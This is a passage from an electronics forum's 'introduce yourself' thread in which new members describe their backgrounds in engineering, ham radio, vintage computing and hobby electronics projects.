My name is Charles and I'm a Computer Engineer who likes doing both software and firmware.  I've posted a couple of times here before but realized I hadn't actually introduced myself.  I'm currently working on some hardware to improve my telescope and automate some items.
Title: Re: New Member, Please introduce yourself
Post by: pepelevamp on March 21, 2018, 03:21:46 pm
friends!!!  ;D


I am Pepe. I have a really low-fi youtube channel called Pepe's World: for computer hackers & electronics enthusiasts with no money - and no friends.
electronics, hacking, farts, failure, life. theres plenty of low-budget oriented channels out there but we sink even lower.

https://www.youtube.com/channel/UCetG2WJ9u57zpbIXquZEIVg (https://www.youtube.com/channel/UCetG2WJ9u57zpbIXquZEIVg)
https://www.youtube.com/watch?v=pgfGQAG8JyM (https://www.youtube.com/watch?v=pgfGQAG8JyM)
Title: Re: New Member, Please introduce yourself
Post by: Crazy_Engineer on March 24, 2018, 12:46:51 am
Hi.  I am a long time lurker who has finally decided to join.  Although I do have an EE background I have not done much hands on electronics work.  Currently I am looking to assembly a test bench and get my hands dirty.
Title: Re: New Member, Please introduce yourself
Post by: mpfishe2 on March 26, 2018, 01:17:00 am
Hello!

I'm Matt from North Carolina and I'm currently an RF/Microwave Engineer for a large defense and space company. I just finished my MSEE, and also have a BSEE, BSCPE, AAS EET, and an AAS CET. My interests are in vacuum tube technology and my background is more MMICs and RF.

I survived college by watching EEVblog, TheSignalPath (Boosh's channel not Shahriar's ;D),  Mikeselectronicstuff, wae2w, Carlson's Lab,  and many others. I've been able to learn a lot from everyone and finally have the time out of school to post and contribute to the forum!

Take care :)

-Matt
Title: Re: New Member, Please introduce yourself
Post by: haydonbeagley on March 26, 2018, 04:48:57 pm
Hello,

My name is Haydon Beagley and I'm from the Old Dart (or England if you prefer) - I've always been interested in Electronics and Computers since a very young age and have always been involved in some way.
Ironically my degree wasn't very related to electronics or computers but I'm slowly getting more involved with it, and hopefully shall get some unloved and half finished projects up and running.

Thanks to Dave and the team for the Blog!

All the best,

Haydon
Title: Re: New Member, Please introduce yourself
Post by: madhuganadi on March 29, 2018, 09:07:34 am
Hello,

My name is Madhu, I'm a 35-year electronic engineer with a lot of love and passion.

As well Recently I have started contribute content for www.rrbjobsclub.in (http://www.rrbjobsclub.in). Here we can get Electronically related jobs also. recently I have posted http://www.rrbjobsclub.in/rrb-secunderabad (http://www.rrbjobsclub.in/rrb-secunderabad) jobs.

Cheers,
Madhu
Title: Re: New Member, Please introduce yourself
Post by: tecneeq on March 30, 2018, 02:59:10 pm
Ahoi!

Karsten from Germany here. 45 year old Unix admin with a hobbyists interest in electronics.

See you around.
Title: Re: New Member, Please introduce yourself
Post by: tomaz 11 on March 31, 2018, 08:53:20 am
Hello my name is Tomaž, I live in a small country of Slovenia.
I have an interest in Electronics, hence my joining of this forum my background is an undergraduate degree.

love the blogs & videos ;D
Title: Re: New Member, Please introduce yourself
Post by: farmerni on March 31, 2018, 03:15:13 pm
I am Thomas currently a A level student in Northern Ireland from a farming background who likes poking at the guts of items with wires coming out of them. My main weakness is software type problems>it's too boring and time consuming to learn how to code and deal with command lines
Title: Re: New Member, Please introduce yourself
Post by: JTY on March 31, 2018, 04:03:19 pm
Hi, I'm John! I'm a long time lurker and subscriber to Dave's Youtube channels. I studied electronics many years ago, but ended up working in IT. Recently I have taken up a renewed interest in electronics due to IoT.
Title: Re: New Member, Please introduce yourself
Post by: DJbarro on April 06, 2018, 01:46:49 am
Hello forum,

My name is Sebastien, currently working as a junior electrical engineer in Quebec Canada. I decided to subscribe here not long ago because of a sudden change of career that got me interested back into the world of small electronics. I'v played around with robots and programming before as a hobby but never extensively. It's slowly but surely getting back though. I worked as a technician and electrician on the field before, and my previous position at my current employer was to design electrical substation. So I have more experience into designing simpler yet bigger electrical toys than with small electronics stuff. I'm also a woodworking enthusiast.

Your videos and overall subjects are really interesting Dave, I'm actually watching them to help me get more knowledge about small electronics design for my current job.
I'm looking forward to getting involved in this forum !

Regards
Title: Re: New Member, Please introduce yourself
Post by: CFLBob on April 07, 2018, 03:00:07 am
Hi, I'm Bob, yet another EE.   

The "CFL" is for Central Florida.  I retired at the end of 2015 from a career as an RF/Microwave design engineer in commercial and military air and space borne systems.  My last 20 years were at Rockwell Collins commercial avionics here in Melbourne, FL. 

My specialties were PLL Synthesizers, receivers and transmitter linearizers (ALC and Cartesian feedback loops).  I worked from DC to 10 GHz. 

I found EEVBlog a few months ago when my Tektronix 475 took a dump, and I've been back often enough that I figured I should sign up.  I'm getting ready to decide on replacing the scope with a new one, so I've been mostly hanging out in the test equipment forum archives, and checking Ham Radio, since I've been a radio hobbyist since I was about 12 - 52 years.


Bob


 
Title: Re: New Member, Please introduce yourself
Post by: ian quadman on April 07, 2018, 02:48:54 pm
hi all
my name is Ian
i am new to the electronics world
i am 67 years old and needed a small hobby to keep me active
this is a great forum with loads of information
thanks for letting me join :)
Title: Re: New Member, Please introduce yourself
Post by: ndcroy on April 07, 2018, 02:56:55 pm
Typical forum always has a tread on introducing members.  ;D ;D

Hello from Malaysia. I am currently studying in Sunway Monash University Campus in Electrical & Computing System Engineering (2nd year). I got a bit bored by the typical theoretical lecture and wanted to buy some lab instrument for the practical side. I recently bought PICkit 3, fluke 289/FVF, LCR meter TH2821, some soldering tools and breadboards. I am currently building my own linear power supply for my micro-controller and looking forward to start learning micro-controller myself.  ;)

 
Hello. Norman from Blacksburg Va. Just an old time CB audio gear repair hobbyist.  Still learning in my retired state. Not looking to work on new digital systems. Thanks

Sent from my SM-G955U using Tapatalk

Title: Re: New Member, Please introduce yourself
Post by: DenJohX on April 09, 2018, 02:42:55 am
Hi!

I'm Dennis.
Actually estudied Telecom Engineering almost 10 years ago but nowdays I'm focused on my business: a small web and mobile sofware development agency.
Always liked electronics and finally having some more time now to spend on my bench.
I have never worked professionally on electronics so more like an "advanced hobbyst"

See you around!

Dennis.
Title: Re: New Member, Please introduce yourself
Post by: Horusaem on April 09, 2018, 03:32:59 pm
Hi

My name is Karol and if it sounds any funny to you just read it as Charles Xavier ;) Just add more hair and take a square root on IQ  ;)  My junk room is located near the capital city of Poland in the suburban area so that kinda makes a Polish viewer and excludes me from NSA spies :D ;) I`ve never wore a tin foil hat but if I would I would totally call myself Apollo and not Horus ;) I try to stay open minded when it goes to interaction with the stuff that is placed on the interWeb aswell as everywhere else . I am into Consumer electronics ( but not focused on gadgets)  90s Vintage computers and beyond ( never had a CPM ) SBCs , Discharging Capacitors ( aswell as charging electrolytic ones beyond their reference voltage on a "stupid stick")

Now I am over 30 and i have more resources than I had when I was younger so I am using them to expand my electronics knowledge as it`s my secret passion ( just after being a fire man , Fighter plane pilot and Tony Stark )

Thanks for having me in ;) And lets hope my comments will be insightfull or at least funny ;) ( not in a way that could offend anyone )

PS: we use different names for many basic components and mechanics so please keep that in mind when I say Condenser or sth like that ;)
Title: Re: New Member, Please introduce yourself
Post by: dlo on April 10, 2018, 05:21:19 am
I thought about introducing myself.. but I really enjoy lurking a lot more...
Title: Re: New Member, Please introduce yourself
Post by: GomezAddams on April 11, 2018, 03:20:30 am
I’m Gary from southern Utah in the US, deep in red rock country. Electronics is a hobby for me since I switched to computer science from EE back in college... ah, regrets... but it’s fun to jump back in now.

You people have been busy since the 80’s!! As a teen in the 70’s I built a breadboard computer with a 4004 processor from Intel and a stack of ram chips totaling 1kb. At first it had a phone touchpad as a keyboard with seven segment displays, and I coded on graph paper using octal notation for hand-entered assembly. Soon after, I built a one line 32 character display based on a Popular Electronics article (I think) that used a saw tooth waveform on a bell&Howell oscilloscope to trace the pixels from a character generator at a slant. Needless to say, it was awesome.

Now I’m fascinated by mcu’s like the attiny and small form factor awesomeness like raspberry pi zero w. What a great time to start playing again!

Cheers to all!
Title: Re: New Member, Please introduce yourself
Post by: Jiggerypook on April 11, 2018, 07:59:32 am
Hello, I'm Gary from somewhere near the capital of oil country in Canada. Spent most of my life in the oilfield as an Electrician. Dad took an electronics course in 1966 (I was 12) but it set an interest that has never faded, unlike my memory. :-DD I've got a Fluke DMM, some breadboards, Forrest MimsIII booklets, Heathkit scope, some proto boards and a Hako 936. >:D Now that I'm retired and the kids are gone, it's time to release some magic smoke.

Awesome forum!! 

P.S. and try not to ask too many dumb questions.  :o
Title: Re: New Member, Please introduce yourself
Post by: memo.online on April 13, 2018, 02:39:21 am
Hi as a new member I would love to say hi and report what a great site this is

michael
Title: Re: New Member, Please introduce yourself
Post by: bob225 on April 13, 2018, 04:42:23 pm
Hi All,

I have been interested in electronics from a early age, i had a work placement doing tv and video repairs from the age of 16 while going to college for electronics hardware, I then moved into the IT field, that went from diagnosing electronics in the early days to box moving and parts swapping in the later years

My first thread will be up shortly................
Title: Re: New Member, Please introduce yourself
Post by: InductorbackEMF on April 16, 2018, 10:02:35 am
Hi,my name is Alex  :) I am 16 years old,I love repairing things mostly older test gear.

I have been home schooled for about 5 years now,however the my main thing is electronics.

I love doing high voltage/pulse projects and repairs of things to do with it.

The main thing i focus on is valves as we call them in the Uk,you may know them as vacuum tubes / electron tubes this is also where my love for high voltage stuff comes from.

That is about all you need to know,if you want to ask anything else please do!
Title: Re: New Member, Please introduce yourself
Post by: DEPChimp on April 22, 2018, 04:17:34 am
Hello every one,
My name is Ben nice too meet you all!
I normally lurk but that seems to mean i make no post resulting in my registration being deleted hahahahaha, o well third times a charm.
Title: Re: New Member, Please introduce yourself
Post by: AE7OO on April 23, 2018, 09:47:59 am
Hello,

I'm Gary.  Former US Navy ET, former FreeBSD committer(FAQ, math-co emulator, PERL), and present radio op(AE7OO, former N5VMF).  I've been doing electronics for 30+ years and software(C, C++, PERL) since the early 90's and BASIC on a Timex Sinclair before that.  I hate math(I'm lazy to boot), and so my degrees are in Electronics Technology and not in Electrical Engineering, but I can play one on TV... ;D

I've built L and S band (1.2 and 2.4 Ghz) transverters, a Z80 computer out of one of Steve Ciarcia's books and wire wrapped way too much.  My present project is a safety device based on a Laird Tech BL-600.

The way I got my ham license is interesting.  I was at a Field Day in Texas, and there were about 5 of us who wanted to become hams.  So since they had more than enough VECs, they got on a couple of the local repeaters, announced that there would be a test in 4 hours at the FD location and then gave the test.  As far as I can remember, all of us passed the Tech test.  Later on I passed 5wpm morse for my Tech+, then 13wpm for my General ticket, and finally the Advanced and Extra for my Amateur Extra license.  Never did master 20wpm...

GB
Title: Re: New Member, Please introduce yourself
Post by: Elex on April 24, 2018, 07:34:03 pm
Hello all,
I was an electroincs hobyist in my youth which led me to a Masters of Science degree in Electronics a bit later. But I somehow made a career in a very different field and I did not look into electronics for a few decades. Now, in my fifties, I rediscovered electronics as a hobby. It is amazing to see how much has changed, especially how easy it has become to tap into knowledge through the internet.
Daves videos and this forum offer a wealth of knowledge and it is beautiful to see how the members help each other.
I have learned a lot from Dave and the forum and hope to be able to contribute to it too, sooner or later.
Title: Re: New Member, Please introduce yourself
Post by: BrentonS on April 25, 2018, 02:09:33 am
Hi everyone,
I'm Brenton from Melbourne Australia. Currently in the 3rd year of my Bachelor of Electrical and Electronic Engineering.
Dave's videos have been very helpful while studying, Thanks Dave.
In the past I have built microphones, preamps, compressors and equalizers for my recording studio, mainly from kits.
Now i'm using my newly acquired electronics knowledge to design my own audio gear.
Title: Re: New Member, Please introduce yourself
Post by: xD90o1 on April 26, 2018, 12:53:41 pm
Hello everyone. I am Ace and I'm from the Philippines, specifically Iloilo. I was just freshly graduated my senior high as a STEM student and now I'm about to take my Electronics Engineering Entrance Exams tomorrow and on Saturday. I have found a passion in PCB Designing because of this new hobby I'm in which is drone racing. Every now and then, I would try to design something that can help further the hobby such as designing flight controllers, 5.8GHz video receivers, you know, those kind of things but then I still lack the money to actually have the board manufactured lol
Title: Re: New Member, Please introduce yourself
Post by: pma32904 on April 27, 2018, 07:40:33 pm
Hi All,
My name is Paul and I am currently living in Texas. Just wanted to say hello!
I am dabbling in some Arduino code at the moment and learning how the debugWire works. I enjoy the videos and digging through the blog.
Title: Re: New Member, Please introduce yourself
Post by: Mr Nutts on May 01, 2018, 07:02:31 am
Hi there,

My name is Frank, and I'm from Arizona. I worked many years with RF and general electronics but not DSP and microcontrollers, which is what I try to get into now. Most of my pet projects revolve around automation and robotics, and I managed to setup a small lab with some gear I got cheap from friends and colleagues. I love EEVBlog and watch new videos whenever I find the time.
Title: Re: New Member, Please introduce yourself
Post by: DrewPistachio on May 02, 2018, 06:40:34 pm
Hi all,

I was a EE major and studied DSP/RF, but my projects have been in software, so I have extremely limited electronics experience--which I'm trying to change :)

I've been dabbling with the Lattice Icestick open source FPGA toolchain (Project Icestorm / yosys) for the past few months. My current project is to talk to an external nvRAM chip to read/write data in response to UART commands from a host PC. Can't wait for my DS1054Z to arrive in the mail so I can properly debug this thing.

I have no ties to the electronics industry, but I am now a registered ham if that counts for anything. :P

That's all I can think of for now. Cheers!

Andrew
Title: Re: New Member, Please introduce yourself
Post by: binowl on May 13, 2018, 08:58:16 pm
Hello.

I'm Michal from Poland.
I'm IT Engineer with some electronics skills. I always preferred rather a firmware and "being near the hardware" than high level IT :)

Regards!
Title: Re: New Member, Please introduce yourself
Post by: Stan Frangible on May 16, 2018, 02:23:47 pm
Hi everyone,

I'm Steve from San Angelo, Texas.  I've been an aircraft electrician for nearly 30 years but as a hobby have branched out into tube radio and military radio restoration.  My background is primarily in military aviation maintenance (flight line and back shop) but have also worked in production engineering for the military and commercial avionics sector.  I look forward to sitting back and learning from you all and contributing when something may be in my very narrow lane!
Title: Re: New Member, Please introduce yourself
Post by: emece67 on May 17, 2018, 01:31:35 pm
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Title: Re: New Member, Please introduce yourself
Post by: nullstring on May 18, 2018, 01:42:03 am
Hi, I'm Steven from not so sunny weston-super-mare in the UK. I have a passion for vintage computers and old school engineering (I built a working model  steam engine when i was 16), and have only recently  got into electronics, so please be patient with me.

Title: Re: New Member, Please introduce yourself
Post by: kerouanton on May 20, 2018, 09:30:30 pm
Hi All,
My name is Bruno and I am currently living in Switzerland.
A long time ago I studied electronics, and I also have my HAM license since a couple of years, just for fun (I don't use it).
As I don't work in this field, I consider it as a hobby and play with my gear from time to time to get my brain running.
I enjoy measurement, so as many here I have a basic set of lab instruments, most of them <30y old.
Last but not least, I have a small collection of old computers, especially C64 that I love and continue using.
Title: Re: New Member, Please introduce yourself
Post by: JaspaJami on May 22, 2018, 12:19:17 pm
Hello

Im Jami from Finland, 34 years old. Studied electronics and computer technic 2000-2003. Then electronics kind a dropped away for many years and maybe 3 years ago started as a hobby again. Working as a infrastructure specialist at ICT section and part-time farmer. Mostly intrested of embedded systems, but also repairing stuff and i always just want to learn something new. Slowly building my lab (now in house, but i have already reserved a room from barn).

https://www.linkedin.com/in/jami.susijarvi (https://www.linkedin.com/in/jami.susijarvi)
Title: Re: New Member, Please introduce yourself
Post by: RWAP on May 22, 2018, 07:51:50 pm
Hi,

My name is Rich, although I have been used the alias RWAP for the internet and even articles I wrote back in the 1980s.

I have a varied background, having originally practised as a solicitor, done work as a landscape gardener and conservation worker, and even programmed PLCs for baggage handling systems and sewerage treatment works.  However, my main love has been programming - I started out with Sinclair computers during my teens and am pleased to have been running my business for 30 years (mainly in my spare time) supporting retro computers almost since they were new!

I am now probably best known for creating my own retro computer marketplace (sellmyretro.com) and for supplying keyboard membranes for a range of different 1980s computers.

This year will also see the launch of my Retro-Printer module which I first realised was needed in about '97 when it was getting hard to find centronics ESC/P2 printers, to use with the old computers.  Unfortunately, it has only been with the advent of the Raspberry Pi and other single board computers, that this project has been able to become an affordable reality.
Title: Re: New Member, Please introduce yourself
Post by: SpencerTC on May 25, 2018, 02:07:16 pm
Hello, my name is Trent Spencer. I am self taught with little formal education. I currently work as the RF Engineer at a small company in Alabama, USA. We design and manufacture attenuators, filters, equalizers and diplexers for the cable TV industry.

I have been interested in electronics since I was around 8 years old (currently 27) and originally got started by taking stuff apart around the house, like I'm sure many of the people on this forum did.

Since I now work in the industry and this is no longer just a hobby, I have been trying to learn as much as I can and improve my skills as much as I can. For the last 2 years I have made a lot of progress and I consider myself on the level of an above average EE student (albeit with more experience in RF).

I am a HAM radio operator and enjoy building antennas and gear more than I like being on the air. My call sign is KM4YTU and I am a general class operator.

I look forward to becoming a part of this community.

-Trent Spencer
Title: Re: New Member, Please introduce yourself
Post by: gbaddeley on May 27, 2018, 04:08:31 am
G'day all,
I'm Glenn from Melbourne, Australia. I stumbled across the EEVBlog videos on youtube a couple of months ago and then registered for this forum, where I have been lurking thus far.
I've been deeply interested in electronics since my early teens, although it didn't turn out to be my profession (IT) of 33 years. I have built lots of projects and designed my own stuff over the years, mainly to do with audio. I have been a member of diyaudio.com for 14 years, Melbourne Audio Club (MAC) for 30 years, Historical Radio Society of Austraila (HRSA) for 20 years. 
My workshop includes a collection of "old school" test equipment from General Radio, AVO, HP, Keithley, Marconi, plus 100's of electrical engineering / electronics books going back to the 1880's, plus a reasonable collection of vacuum tubes / valves (~1000 different types). I also have every issue of Electronics Australia, and Radio, TV & Hobbies, and Radio & Hobbies (1st issue April 1939).
Cheers, Glenn.
Title: Re: New Member, Please introduce yourself
Post by: treesap on May 28, 2018, 01:22:53 am
Hi all,

My name is Travis, hailing from the United States (Arkansas). I've made a couple of posts already, but since it is generally tradition to introduce one's self, I shall post here!

I am a 28 year old software engineer who has a significant interest in electronics. I got my first real start building a couple of tube amps from schematics/instructions online just under 15 years ago. Since then, I've continued doing some minor projects. I then got my HAM Technician's  license (KE5TKR) sometime before graduating high school, and have since then continued exploring electronics. I am a bit of an audiophile, so have enjoyed building amplifiers and speakers.

In recent months, I've devoted a lot more of my time to learning more electronics theory/etc. I have a couple of books that I put an hour or two into each day, working out the maths in my notebook and building some circuits. I've also begun studying for the next level of HAM certification, which includes some slightly more in-depth electronics knowledge. Lately, I've enjoyed playing around with analog and digital electronics, alike. I made a couple of cool things with AVR assembly a while back, and enjoy using the Arduino now! I definitely love electronics as a hobbyist, and could even see myself shifting into a more hardware-oriented career at some point in the future. (Other potentially relevant interests: Aviation, automobiles, software development, diy audio(philia), cooking, gardening, musical instruments, a handful of others.)

I am thankful to have such a great forum here (of which I have been a lurker for many years now.) I'm excited to contribute to the conversation with the knowledge I have, and to learn as much as possible from everybody else!

--Travis
Title: Re: New Member, Please introduce yourself
Post by: maiekmire on May 30, 2018, 02:16:17 pm
Hello EEVblog forum, RF Technician here worked in Submarine Comms (Navy ET), Remote Satellite Tracking and currently in the Land Mobile Radio/Low Voltage Tech fields.  Long time follower of Dave, and the EEVblog videos which helped me get through my tech school courses several years ago.  Really enjoy everyone's mailbag submissions, look forward to send in something myself soon. 

I am currently working on building up a home Electronics Test Bench, and am re-learning a lot of electronics theory that I don't use everyday in my field.  As far as outside of work electronics fun, I mainly mess with my guitars and amps.  My current goal is to repair a broken DigiTech GNX3 that has sat in a closet for far too long. 

Looking forward to participating in this forum!
Title: Re: New Member, Please introduce yourself
Post by: Zer0_HR on June 01, 2018, 03:01:41 pm
Hi all,

My name is Dario, I am electrical engineer and currently working on FPGA-s.
I am coming from Croatia and like to distill brandy.
In my spare time I usually work on vintage amplifiers (tube and transistor) and some kind of automation.

Best regards,
Dario

Title: Re: New Member, Please introduce yourself
Post by: keith56 on June 09, 2018, 02:58:03 am
Hello there!
My name is Keith! I was born in England, but I live in Japan now!
My main interest is classic 8 bit computers from the 80's/90's - I mess around a lot with 8 bit computer programming (z80 assembly), but I'm also trying to learn how to repair and maintain them as there are a lot of cheap computers for sale that need a bit of repair.
so I'll probably be lurking around the forums trying to soak up some info, and asking the odd stupid question!

Title: My old member is deleted
Post by: ZoTaR on June 09, 2018, 09:02:42 am
Hello I am a new member, errm... actuality an old member, however my old membership is deleted.
No clue why, it was user name " nippit"

Have I angered the EEV gods or done something wrong not sure. i dont even think that i posted anything, just reading....

dear EEV gods this is my new user please keep it i will be a good nerd.

 :D
Title: Re: New Member, Please introduce yourself
Post by: pilotchup on June 14, 2018, 03:04:05 am
Figured might as well start posting. Long time lurker, so made an account relatively recently. Love this forum and youtube channel.
I always felt weird about posting somewhere randomly as my first post, so here's to getting the first post out of the way :)
Title: Re: New Member, Please introduce yourself
Post by: merak on June 19, 2018, 05:17:14 pm
Hello,
My name is Marek. I'm from Poland.
I am electrical engineer working in: microcontrollers(ARM,PIC), analog, EMC.
I've been lurking on the forums for couple of years.
Because of Buy/Sell/Wanted section just had to finally sign up and write first post. 
Best regards
Marek
Title: Re: New Member, Please introduce yourself
Post by: Tristram on June 20, 2018, 06:40:19 am
Hello Everyone,

My name is Tristan and I am from South Georgia (USA)
After two years learning computer programming at my local technical college I got very interested how software and hardware interact at a basic level.
One thing led to another and now I'm addicted to embedded programming, fiddling around with components on a bread board, and electric theory :)
At the moment I am having fun controlling LEDs in interesting ways and I am working on creating a NiMH battery charger. 

I look forward to participating in the forum!

-Tristan
Title: Re: New Member, Please introduce yourself
Post by: Raven Luni on June 22, 2018, 07:01:59 pm
Greetings,

I'm a software engineer (looking into a career change because I'm sick of it).  I've been into electronics since childood and got serious about it over the last 7 or 8 years.  I like to make my own tools where I can (best way to learn).  I've got loads of designs and stuff I'll share in the relevant forums.  On the bright side, having a full set of software skills is pretty handy for working with MCUs and the like :)
Title: Re: New Member, Please introduce yourself
Post by: malagas_on_fire on June 22, 2018, 07:24:32 pm
Hi.

Currently i'm a Linux Embedded Systems developer, i've learned some basic electronics and basic / asm programming, ending up studing electrical/electronic engineering as complement, since most knowledge was obtained outside school enviromment or when was pratical projects envolved. It all started withh the screw driver and tear apart things...
Currently i've developed some projects with microcontrollers, electronics, electrical stuff up to 230V ( relay's, triacs)  and most recently become a software guy on Embedded Linux, most developing drivers, leaving almost behind the electronics and now i'm trying to remember all to complement my work capabilites, maybe it will become as a hobby too.

Ocassionally i do some repairs , nothing too special.

For extra enjoy i practice some sports like swimming , hikking and sometimes running.

So teaching and learning will be the cycle of life.  \$\Omega\$

(edit)

Best Regards,
Fábio
Title: chemelec
Post by: chemelec on June 25, 2018, 02:05:07 am
My name is Gary and I have been doing Analogue Electronics as an Avid Hobby for the past 60 years.

Website: chemelec.com
Title: Re: New Member, Please introduce yourself
Post by: cyclin_al on June 28, 2018, 04:18:27 am
My name is Alan.  I picked up an interest in electronics back in high school.  Fortunately or unfortunately, I picked up a whole lot of interests at that time.  The limiting factor in those days was that anything beyond simple discrete logic chips was complicated to work with and expensive.  My studies followed the jack of all trades path... Systems Design Engineering.  Along the way I picked up a HAM radio license, mainly as a skill for a car rally organizer.  My interest is re-kindled by all the modern possibilities from microprocessors, the design tools now available, the PCB services and the internet to learn it all.  Work does not allow me to actually do design as my position is regulatory in the transportation field.  Projects I would like to do involve home automation and interfacing with my rally car (ISO9141).
Title: Re: New Member, Please introduce yourself
Post by: jason.asmus on June 29, 2018, 08:09:47 pm
My name is Jason and I have an addiction to the EEVblog on YouTube.  I hear this is the support group.

In all seriousness, I have just started to delve into the channel and have been learning a lot.

I currently live in Wisconsin and wrapping up my last semester of school for my BSEE degree from UW-Platteville.  I started off my professional career on the other side, doing mechanical work.  I have a BSME degree from UW-Platteville and an MSEM degree from Milwaukee School of Engineering.  I have been seriously working on electronics and electrical engineering for just over two years now.  I have been drinking from the fire hose ever since and the EEVblog has been a lifesaver.

I currently work full time and Broan NuTone in the Advanced Engineering group, doing mostly R&D work. I get to spend my days playing with various sensors, LED lighting, motors, controllers, custom PCBAs, firmware, and software (APPS).  The best part of my job is coming up with solutions to problems you don't even know you have.  And making mistakes and learning.

In my spare time I enjoy tinkering around in my workshop (which is just getting underway) and I look forward to learning and giving back to the EEVblog community when and where I can.
Title: Re: New Member, Please introduce yourself
Post by: Putra kusuma on July 04, 2018, 08:21:35 am
hello friends,

Let me introduce myself here as a new member in this forum  :). My name is Putra kusuma.
I am doing some hobby electronics sometimes   ;D
Title: Re: New Member, Please introduce yourself
Post by: soaring_spitfire on July 13, 2018, 10:21:25 am
Hello!

Recent electrical engineering graduate, from New Zealand, with my first real job in power distribution. An electronics hobbyist in my spare time. In the market to buy a function generator! (and an LCR meter)

Currently been working on a 10x10x10 RGB led cube, (on and off again for 2 years (including uni study)), currently trying to solve an issue with what I think is noise on the SPI bus of my control electronics for the cube. |O  Will post some photos when it gets up and running.

Never been especially active on forums, but will give it a go!
Title: Re: New Member, Please introduce yourself
Post by: asmfan on July 15, 2018, 12:25:34 am
Greetings,

My career is in software quality assurance in the area of software performance testing https://en.wikipedia.org/wiki/Software_performance_testing (https://en.wikipedia.org/wiki/Software_performance_testing)

A few years back I was introduced to EEVblog by a news article that linked to one of Dave's videos debunking a solar roadway installation.
I watched more EEVblog videos and read through general topics on the forum for close to a year.
Thanks in part to Dave and the EEVblog community, my interest in electronics has moved to an active hobby.

I'm now working through Make: Electronics and supplementing with Practical Electronics for Inventors.
My bench consists of the equipment and components required for the Make: Electronics and Make: More Electronics books.
Title: Re: New Member, Please introduce yourself
Post by: h4x0r on July 17, 2018, 11:40:25 pm
G'day everyone,

Another 'local' 'strayan here.

As the tag implies I'm a bit of an old hack. I have been dabbling in electronics since I was about 6-7, so that's 40+ years of hacksawing my way around various bits n pieces.
I've been lurking here randomly over the last 5 years, but never bothered to register. I have no idea why, I just never bothered, possibly has something to do with my work.. I figured I should do the needful.
My occupation is in software QC, for a large multinational IT network equip vendor. Highly specialized role and completely irrelevant to 90% of the real-world.

I spend my hobby time hacksawing and destructive testing / fabricobbling stuff. Mostly stuffing around with mech-elec related gear, also mostly on things that propel people (cars, bikes, skateboards etc) and playing a few instruments.

I'm here to learn stuff I should have paid more attention to 25 years ago.

I'm also learning to 'upgrade' my hacksaw lab with some decent quality test and measurement gear. I have old analog stuff, and some good quality gear, but I need some more precision gear to help me move forward.
I have spent time playing with valve amps etc. I've stuffed around with reverse engineering ignition map drivers in old cars to convert into 3d maps for modern closed loop efi. I made my first PCB with a tandy kit about 35 years ago, and learned stuff like how to build circuits from kits and schematics from EA/ETI/Silicon chip magazines back in the day. So Hacksaw is probably the most appropriate name.

I feel that I need to reboot and refresh my nvram and learn a few new things related to industrial circuits and the like.

I also need to learn about basic things like the best way to purchase consumables, even though I am sporadic with my spend at places like element 14/mouser/rs etc. Also what's the best way to do PCB's these days - e.g. farm out or buy a machine/small cnc etc... Then there's the  how to sniff out quality components from crap and the hotbed of PRC banggod etc stuff is it worth it...

I know I'll have lots of obviously noob questions, I'm familiar with searching so naturally I'll look for an answer before I ask everyone the 'dumb questions'..
Got a lot of ground to cover to reinvest the gery matter into hardware.
That's about it for the moment.

Hope I can climb out of the dark ages into modernity...
Title: Re: New Member, Please introduce yourself
Post by: arkeo on July 21, 2018, 07:58:15 pm
Hi everyone,

I am Corrado from near Rome, civil engineer but electronics is one of my hobbies since I was a kid. Great forum!
Title: Re: New Member, Please introduce yourself
Post by: cprosser on July 22, 2018, 03:35:53 pm
Hi Folks,

I've been dabbling with hobby robotics and electronic kinetic art on and off since 1997. I've recently decided to blow the dust off my gear and repair some of my old projects. I have several that I built on the old OOPIC Platform, and another with just an AVR and a C compiler. Well, I've lost the C compiler and the code, and OOPic is out of business  :-\. So I've got some work cut out for me to reverse engineer them and replace the microcontroller so I can do some upgrades.

I'm also very excited to have replaced my 2nd edition of The Art of Electronics with the 3rd edition!

--chris
(Seattle)

Title: Re: New Member, Please introduce yourself
Post by: showler909 on July 26, 2018, 02:08:06 pm
Hi folks,

I'm Robert, a Mental Health Nurse from the UK. I'm looking into dabbling with electronics, learning more about all the components and tools used to resolve issues, with a potential new hobby developing repairing broken PC parts.

I am a complete novice so pretty useless regarding advice or guidance, but I hope to learn much as I develop my understanding from you fine people :)

Have fun folks!
Title: Re: New Member, Please introduce yourself
Post by: ben.howard1987 on July 27, 2018, 01:21:50 pm
Hello, I'm Ben from Wallingford in England. I make terrible things that barely work from junk and I love it!
Title: Re: New Member, Please introduce yourself
Post by: radiokot on August 02, 2018, 09:22:43 am
Hi!

My name is Alexander. I'm from Russia. I have been engaged in radio electronics for about 5 years. Basically I develop for microcontrollers stm32, stm8, avr. Rarely I use FPGA. Work at the factory. I'm doing freelancing at the time.
Title: Re: New Member, Please introduce yourself
Post by: prouser on August 09, 2018, 01:23:42 am
Hello,

My name is Arthur, I am looking forward to learning much from this forum and sharing what i know along the way.
Title: Re: New Member, Please introduce yourself
Post by: carolcarol on August 22, 2018, 06:43:13 am
Hi  ;) My name is Carol, I live in Chicago, IL. I'm currently a freelance writer. Raised on a steady diet of classic literature, I pursued an English degree at the University of Tennessee after high school graduation. I started my freelance writing career after a five-year stint in marketing.  I came to the realization that the part of my job that I loved the most involved writing promotional material for clients and articles for the association’s monthly newsletter.  So, I decided to turn my passion for writing into a career.  I now spend my days writing about health, home decor, fitness, parenting and travel for a variety of clients.
Title: Re: New Member, Please introduce yourself
Post by: Dave_C on August 22, 2018, 12:49:49 pm
Hi!

I'm David (or Dave for short). I currently live in a small town/village near Rzeszow, Poland.
I recently finished trade shool in electronics with good amount of achievments and prizes (test gear  :-DMM). Before that I've been tinkering and experimenting on my own with mostly recycled or old parts and a 5$ multimeter.  I had some succesful designs for school ( biggest one was a peltier-based temperature controller for thermistor testing ), and now I'm going to share my new work on this forum. Soon I will be starting EE in college.

My main focus is test equipment design. I love everything analog, but I often work with digital logic and microcontrollers, also I can write some code in C if I need to.
I have a never-ending stream of ideas for new designs and I'm currently working on a differential scope probe made as cheap as possible and a DC electronic load with CC, CV, CR and CP done completely in analog (well, the current/voltage/power meter is going to be digital).
Title: Re: New Member, Please introduce yourself
Post by: TheDeuceII on August 25, 2018, 01:22:36 pm
Greeting All,

